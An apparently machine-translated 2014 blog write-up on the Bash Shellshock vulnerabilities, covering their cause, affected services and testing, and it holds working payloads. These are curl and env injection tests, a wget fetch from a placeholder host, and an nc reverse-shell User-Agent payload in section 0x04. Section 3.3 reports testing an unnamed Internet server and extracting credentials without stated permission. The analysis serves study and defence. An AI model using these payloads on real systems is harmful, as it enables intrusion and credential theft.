Debug_Orz 2014/10/21 14:14
0x00 Vulnerability Overview
Many of you may remember the Heartbleed Bug that hit you in the first half of 2014. In September 2014, there was another “devastating” vulnerability — the Bash software security vulnerability. The bug was discovered by Stephane Chazelas, a French GNU/Linux enthusiast. Us-cert, Red Hat and several other security companies issued warnings on Wednesday.
Details of this vulnerability are available at CVE-2014-6271 and CVE-2014-7169.
The vulnerability overview is as follows:
Vulnerability English name Bash Shellshock Chinese name X-CERT Threat Response Level A Vulnerability related CVE Number CVE-2014-6271 Vulnerability Discoverer Stephane Chazelas (France) Vulnerability discovery event in mid-September 2014 Date of release September 25 Vulnerability object Linux/Unix operating systems running bash 1.14 to Bash 4.3Copy the codeIn September 2014, Bash software widely used in UNIX and Linux systems was exposed with a series of decades-old vulnerabilities (Bash or Shellshock), which caused a great impact in the industry.
The initial bug was fixed, but raised concerns about a possible 0day vulnerability in Bash’s parser, followed by the discovery of a second vulnerability, CVE-2014-7169, which was also quickly fixed.
A number of Linux distributions released fixed versions of Bash overnight, and most FreeBSD and NetBSD, which have a significant share of the server world, have already turned off automatic import functions by default to prepare for future vulnerabilities.
When the storm of this loophole gradually subsided, many insiders were also thinking about why it spread so widely and had such a big impact.
InfoWorld columnist Andrew C. Oliver wrote an article in which he argued that CGI was a mistake and that it was CGI’s inrationality that allowed Shellshock to thrive.
CGI was invented in the early days of the Web and was one of the first technologies to create dynamic Web content. It turns an HTTP request into a shell call.
The principle of Shellshock is to take advantage of Bash’s vulnerability in importing environment variable functions. When starting Bash, it will not only import this function, but also execute the commands behind the function definition. Some CGI scripts are designed to pass data through environment variables, giving the data provider an opportunity to exploit Shellshock vulnerabilities.
0.1 introduce Bash
Bourne Again Shell (BASH for short) is the most popular Shell implementation on GNU/Linux. Born in 1980, Bourne Again Shell has evolved over several decades from a simple terminal command line interpreter to a versatile interface that is deeply integrated with the GNU system.
Bash is a type of Unix shell. The first official version, released in 1989, was originally intended to run on the GNU operating system, but it runs on most Unix-like operating systems, including Linux and Mac OS X V10.4 as the default shell. It has also been ported to Cygwin and MinGW on Microsoft Windows, or DJGPP projects available on MS-DOS. There are also ports on Novell NetWare and Android.
0.2 CGI technology and script parsing
The Common Gateway Interface (CGI) is a browser-based input method that runs programs on the Web server.
CGI scripts let the browser interact with the user, for example, commenting on information, selecting a form, or querying a database.
As a web designer, you typically create client-side CGI scripts, server-side programs that process user input and return the results to the user.
Not only can PHP, Python, Perl scripts accept requests, interpret execution, and respond to clients, but Bash scripts can also interpret and execute user-submitted GET or POST requests.
0.3 Bash Vulnerability and Remote execution
Hole utilization is generally divided into local utilization and remote execution utilization.
After the bug broke, some researchers initially thought it was only a local vulnerability and therefore could not be exploited well.
As the research went on, it turned out that it could actually be used remotely. On 24 September 2014, Bash was revealed to have a remote code execution vulnerability.
The Bash vulnerability is a classic “injection attack” where you can inject a command into Bash, and it exists from Bash 1.14 to 4.3.
Because of the Bash storage remote execution vulnerability, it is theoretically possible to inject a Bash command into an HTTP request for remote execution, such as:
#! bash () { :; }; wget http://www.XXX.com/testvul.shCopy the codeFor sites that use Bash scripts to process user requests, an attacker can carefully falsify data, send it over the network to a server, and trigger a Bash script directly or indirectly so that malicious code can be executed remotely.
Because Bash is a widely integrated software, almost every system runs, from Rapsberry Pis to mobile phones to data center servers and mainframes.
Since the ability to automatically import functions has been around since Bash 3.0 at least, this bug has probably been around on most systems for nearly 20 years.
Some of the oldest techniques on the Internet are the data that is passed through environment variables when scripts run on Apache servers using mod_CGI (not mod_PHP or mod_python).
Other clients are also affected – such as Linux DHCP clients – which make extensive use of Bash scripts to make changes work, which also allows hackers to inject malicious data into DHCP packets.
Since Bash is the default shell on most Linux systems (and OSX), this vulnerability means that harmful data is encoded into environment variables, passed to the server, and triggered to run Bash scripts, Poisoned environment variable through to a server running a CGI script could trivially be Compromised).
For example, the HTTP protocol header user-agent is usually passed through the environment variable HTTP_USER_AGENT, which means this vulnerability can be tested using the following command:
#! bash curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://example.com/some-cgi/script.cgiCopy the codeFor servers that do not pass user-Agents, there are often other possibilities for attack — such as cookies, referers, or requests themselves. Also, this bug doesn’t just affect CGI scripts and Apache — if other programs also receive and pass harmful environment variables (such as SSH services receiving TERM or DISPLAY environment variables), and those processes then run a Bash script (or execute it via a system() call), The same loophole can be exploited.
Unlike HTTP, SSH generally doesn’t allow anonymous requests — you have to be logged in to trigger this vulnerability — but hosting services do allow anonymous logins (even to a shell with restricted permissions), so GitHub has updated their enterprise offerings to prevent intrusions. Bitbucket also updated their servers.
Because the Bash vulnerability can be executed remotely, it can have the same effect as exploits such as Struts2, which typically means “taking a station or a server” for an attacker to perform other operations.
The following is a reference to a diagram to make a simple illustration.
0x01 Vulnerability Cause Analysis
Vulnerability information was originally derived from article 34765 vulnerability report under the well-known foreign vulnerability website explosion-DB, in which a verification command appeared:
#! bash env x='() { :; }; echo vulnerable' bash -c "echo this is a test "Copy the codeIf you execute the above command locally on a Linux or Unix system with a version number less than bash 4.3, you might get the following output:
#! bash Vulnerable this is a testCopy the codeThe appearance of the first line vulnerable indicates that the system has an arbitrary command execution vulnerability caused by a flaw in the Bash program.
Windows Cygwin Terminal local execution result:
Kali 1.0.9- I386 local execution results are as follows:
Bug fixes in CVE-2014-6271 were immediately resolved, and most vendors provided fixed versions of Bash in time. There is no reason for Internet-facing servers not to fix it right away, as this vulnerability could leave the host completely under someone else’s control (as the user Apache uses). However, the spotlight is on this area and new bugs have been discovered. Using Bash’s shell redirection and automatic function import together, CVE-2014-7169 emerged. The result is that you can read and write files from the remote machine just as you did last time, but this time using the shell’s redirection symbol < or >.
#! bash env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echoCopy the codeThis time the parser stops at the = sign (since (a)= is not a valid Bash expression), but it is crucial to leave the < sign in the parse pipeline. The following escape character \ causes the parser to insert some (but insignificant) space between the redirection commands, which eventually causes the following command to become a redirection command:
#! bash >echo dataCopy the codeThis is a valid Bash command, semantically equivalent to the more common form:
#! bash date >echoCopy the codeNote that the other redirection symbol < is also valid here, redirecting input to a file. So this bug was also fixed.
Of course, having the ability to set any environment variable allows an attacker to control everything — modifying the IFS environment variable (a vulnerability that has been exploited in the past), even modifying the PATH environment variable, can affect the behavior of a newly launched shell script, and either way can cause problems. But at least in the SSH and CGI attacks mentioned earlier, the environment variables involved are either limited (TERM, DISPLAY, etc.) or start with a prefix (HTTP_USER_AGENT, HTTP_REFERRER). So, except for the program represented by the prefix name, other programs are limited.
Some expect Bash’s auto-import function to have a security hole, and fear that there will be more bugs to come. NetBSD turns auto-importing functions off by default in Bash, and FreeBSD does the same, providing it instead with a new option (–import-functions).
1.1 Analysis of normal execution process
Let’s first look at the symptoms of this security problem. This problem occurs because of a feature of Bash that allows you to define functions using environment variables in Bash’s shell. The function is used in all shell scripting languages to wrap up frequently called code and reuse it elsewhere. The function definition in Bash (as in most other shells) looks like this:
#! Bash function hello {echo "hello"} hello #Copy the codeBash, however, also has a unique way of defining functions using environment variables.
If the value of an environment variable begins with the character “() {“, the variable is treated as an import function definition (Export), which only takes effect when the shell starts.
#! bash $ export HELLO="() { echo 'Hello'; }" $ HELLO -bash: HELLO: command not found $ bash $ HELLO HelloCopy the codeThe test results of the above statements in the Cygwin Terminal environment are as follows.
After you define it using the following statement, you can look at the environment variables and find the values you just defined
#! bash export X='() { echo "inside X"; }; echo "outside X"; 'Copy the code
Let’s test Bash’s unique definition. Since this unique method only works at shell startup, most of the sample code used to demonstrate this vulnerability is a single line:
#! bash env HELLO="() { echo 'Hello'; }" bash -c HELLOCopy the codeThis line of code has the same effect as the following step-by-step statement.
The env command means “set the following environment variables first, then run the following program”, and the current environment variables are not affected after the execution. Actually, let me just write it as
#! bash env HELLO="() { echo 'Hello'; }" bash -c HELLOCopy the codeCan also.
The bash command specifies the -c option so that the HELLO function will be executed when bash is started. A new bash must be created because the function definition will only be parsed when bash is started.
Normal functions are defined and executed as follows
#! bash env HELLO="() { echo 'Hello'; }" bash -c HELLOCopy the code
1.2 Analysis of abnormal Execution Process
It is clear from the above analysis that bash is handling functions with definitions such as “() {:; }” environment variable assignment code has a design flaw that mistakenly executes the string following the function definition as a command.
So the real use of the env command has nothing to do with getting the system to accept an environment variable assignment with “[function definition]+[arbitrary command]” to trigger the code execution indicated in the “[arbitrary command]” section.
After malicious commands are added to a valid environment variable, Bash first runs malicious commands. The exception execution structure is shown below:
Shellshock command diagram (Symantec)
Exception, if the following code is injected (note that in this example, the function definition is in single quotes, the function body is empty, and the echo statement follows the function body).
#! bash env VAR='() { :; }; echo Bash is vulnerable! ' bash -c "echo Bash Test"Copy the codeThe above input injects a code echo Bash is vulnerable into the environment variable.
For example, “cow A” and “cow C” are normally executed, but “cow B” in the middle is executed
The Bash vulnerability is that the code outside the function is executed by default, as shown below.
The problem occurs when bash parses the function definition, executes the function, and automatically imports the parser that passes the end of the function definition, and then executes the following code, and since this vulnerability is triggered with each new bash startup, any code can be executed.
Vulnerable systems also type “Bash is vulnerable”, and on the fixed system, the result of the above command should only print “Hello” and no other statements should be executed.
1.3 Source level analysis
As relevant analysis articles are available online, please refer to the following links for details:
- Blog.erratasec.com/2014/09/the…
- Neilscomputerblog.blogspot.com/2014/09/she…
- Blog.csdn.net/u011721501/…
- Blog.knownsec.com/2014/09/bas…
- www.antiy.com/response/CV…
- www.freebuf.com/articles/we…
Looking forward to more in-depth source code analysis.
0x02 Impact Range Analysis
For systems with Bash vulnerability, because it allows unauthorized remote users to specify Bash environment variables, systems running these services or applications have the potential to exploit the vulnerability.
Any program that can pass environment variables to bash by some means is affected by this. Of course, the most typical is the CGI programs written by Bash, where clients can easily attack servers running CGI by adding constructed values to the request string.
Most web sites don’t use CGI much anymore, so it’s not a big problem. However, many network devices, such as routers and switches, use CGI programs written in Perl or other languages, and as long as bash is called underneath, there is a risk.
Any known program that satisfies the following two conditions can be used to cause arbitrary command execution through the bash vulnerability:
1. At some point, the program uses bash as a script interpreter to handle environment variable assignments; 2. The submission of the environment variable assignment string depends on user input.
Currently, systems that may be utilized include:
- Apache HTTP server running CGI scripts (via mod_cgi and mod_cgid);
- Some DHCP clients;
- Use Bash’s various web services;
- OpenSSH server with ForceCommand function;
- A Linux-based router using CGI as a network interface;
- Various embedded devices using Bash.
- …
0x03 Vulnerability Verification Test
3.1 Test comparison of different tools
Different tools test the same address.
Tool 1 uses Crow Strike ShellShock Scanner to test Bash vulnerability. This tool can scan in batches and test the results of a website as follows:
In order to analyze the Test characters of the tool, Wireshark was used to capture packets, and it was found that the tool mainly tested three fields Test, Cookie, and Referer. The captured results are as follows:
Tool 2
Tool 3
3.2 Local Tests
A different POC is constructed locally to test Bash vulnerability. If we open Cygwin Terminal and use different test cases to test, the test results in Cygwin Terminal are as follows:
3.3 Remote Test
Select the target searched on the Internet, perform Bash vulnerability test on it, and use the tool curl.
The test command is as follows:
#! bash curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://XXX:8080/cgi-bin/XXX.cgiCopy the codeTest screenshots are as follows:
After constructing the Referer, Cookie and User-Agent field commands in HTTP protocol and using Burpsuit to send them to the server with Bash vulnerability, three Vul characters will be returned, indicating that the parameters transmitted in the three fields are paralized and processed by the server back-end script. The test results are as follows:
Construct additional POCs and get the server username and password.
0x04 Vulnerability Exploitation Test
Build Bash vulnerability server locally, use browser to access CGI page, display normal access.
Intercept is off with a Burpsuit.
Intercept is on with Burpsuit.
Example Change the user-Agent field in the HTTP protocol to
#! bash () { :; }; /bin/bash -c "nc 192.168.175.142 4444 -e /bin/bash -i"Copy the code
After the HTTP request is sent, the NC bounces back and you can view the user name, directory, and system version.
0x05 References
1) http://www.freebuf.com/vuls/44994.html
2) http://www.freebuf.com/news/44768.html
3) http://www.freebuf.com/news/45436.html
4) http://blog.csdn.net/u011721501/article/details/39558303
5) http://www.srxh1314.com/bash-cgi-bin.html
6) http://www.linuxidc.com/Linux/2014-09/107250.htm
7) http://www.freebuf.com/tools/45311.html
8) http://www.timlaytoncybersecurity.com/2014/09/30/shellshock-bash-code-injection-vulnerability- overview-info/
9) http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high- risk.html
10) http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0
11) http://blog.cloudflare.com/inside-shellshock/
12) http://www.zenghui123.com/2014-10/linux-bash-vulnerability-ShellShock/
13) http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock- holes-found
14) http://www.itnews.com.au/News/396256,further-flaws-render-shellshock-patch-ineffective.aspx
15) http://www.antiy.com/response/CVE-2014-6271.html
16) http://www.antiy.com/response/The_Association_Threat_Evolution_of_Bash_and_the_Current_Status_of_Malware_in_UNIX-like_Sy stems.html
17) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559
18) http://blog.csdn.net/delphiwcdj/article/details/18048757
19) http://drops.wooyun.org/papers/3064
20) http://fish.ijinshan.com/cgibincheck/check
21) https://access.redhat.com/articles/1200223
22) http://www.antiy.com/response/CVE-2014-6271.html
23) http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html
24) http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
25) http://mashable.com/2014/09/26/what-is-shellshock/
26) http://www.businessinsider.com/bash-shell-bug-explained-2014-9
27) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VD5bk2SUeE0
28) http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VD5bymSUeE1
29) http://resources.infosecinstitute.com/bash-bug-cve-2014-6271-critical-vulnerability-scaring- internet/
30) http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it- insecure
31) http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock
32) http://digg.com/video/the-shellshock-bug-explained-in-about-four-minutes
33) http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability
34) http://brandonpotter.wordpress.com/2014/09/30/some-stats-from-shellshock-test-tool-analysis/
35) http://coolshell.cn/articles/11973.html
36) http://www.infoq.com/cn/news/2014/10/shellshock
37) http://www.infoq.com/news/2014/09/shellshock
38) http://www.freebuf.com/articles/web/45520.html
39) http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-increase-in-the-wild-day-1.html
40) http://mobile.itnews.com.au/News/396197, first – shellshock – botnets – attacks -‘s – us – dod – networks. Aspx
41) http://securityaffairs.co/wordpress/29070/malware/mayhem-shellshock-attacks-worldwide.html
42) http://www.carmelowalsh.com/2014/09/wopbot-botnet/
43) http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html
44) http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html
45) https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the- shellshock-bash-vulnerability
46) https://github.com/gry/shellshock-scanner
47) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/
48) https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under- attack
49) https://community.qualys.com/blogs/qualys-tech/2014/10/02/using-qualys-was-scan-to-detect- shellshock-vulnerability
50) http://samiux.blogspot.com/2014/09/exploit-shellshock-proof-of-concept.html
51) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/
52) http://milankragujevic.com/projects/shellshock/
53) http://milankragujevic.com/post/64
54) http://breizh-entropy.org/~nameless/random/posts/shellshock_shits_got_real/
55) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/
56) https://github.com/gry/shellshock-scanner
57) http://blog.crowdstrike.com/crowdstrike-shellshock-scanner/
58) http://businessinsights.bitdefender.com/shellshock-bashbug
59) http://www.csoonline.com/article/2689216/vulnerabilities/apple-publishes-patch-for-shellshock- vulnerability.html
60) http://alblue.bandlem.com/2014/09/bash-remote-vulnerability.html
61) https://shellshocker.net/
62) https://github.com/mubix/shellshocker-pocs
63) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/
64) http://www.freebuf.com/articles/system/45390.html
65) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559
66) http://it.deepinmind.com/%E5%85%B6%E5%AE%83/2014/09/26/everything-you-need-to-know-about- shellshock.html
67) http://www.securitysift.com/the-search-for-shellshock/
68) http://blog.cloudflare.com/inside-shellshock/
69) http://blog.regehr.org/archives/1187
70) https://github.com/mubix/shellshocker-pocs
71) http://pastebin.com/mG1grQwK
72) http://www.cyactive.com/shellshock-blasts-supermassive-black-hole-heart-cyber-space/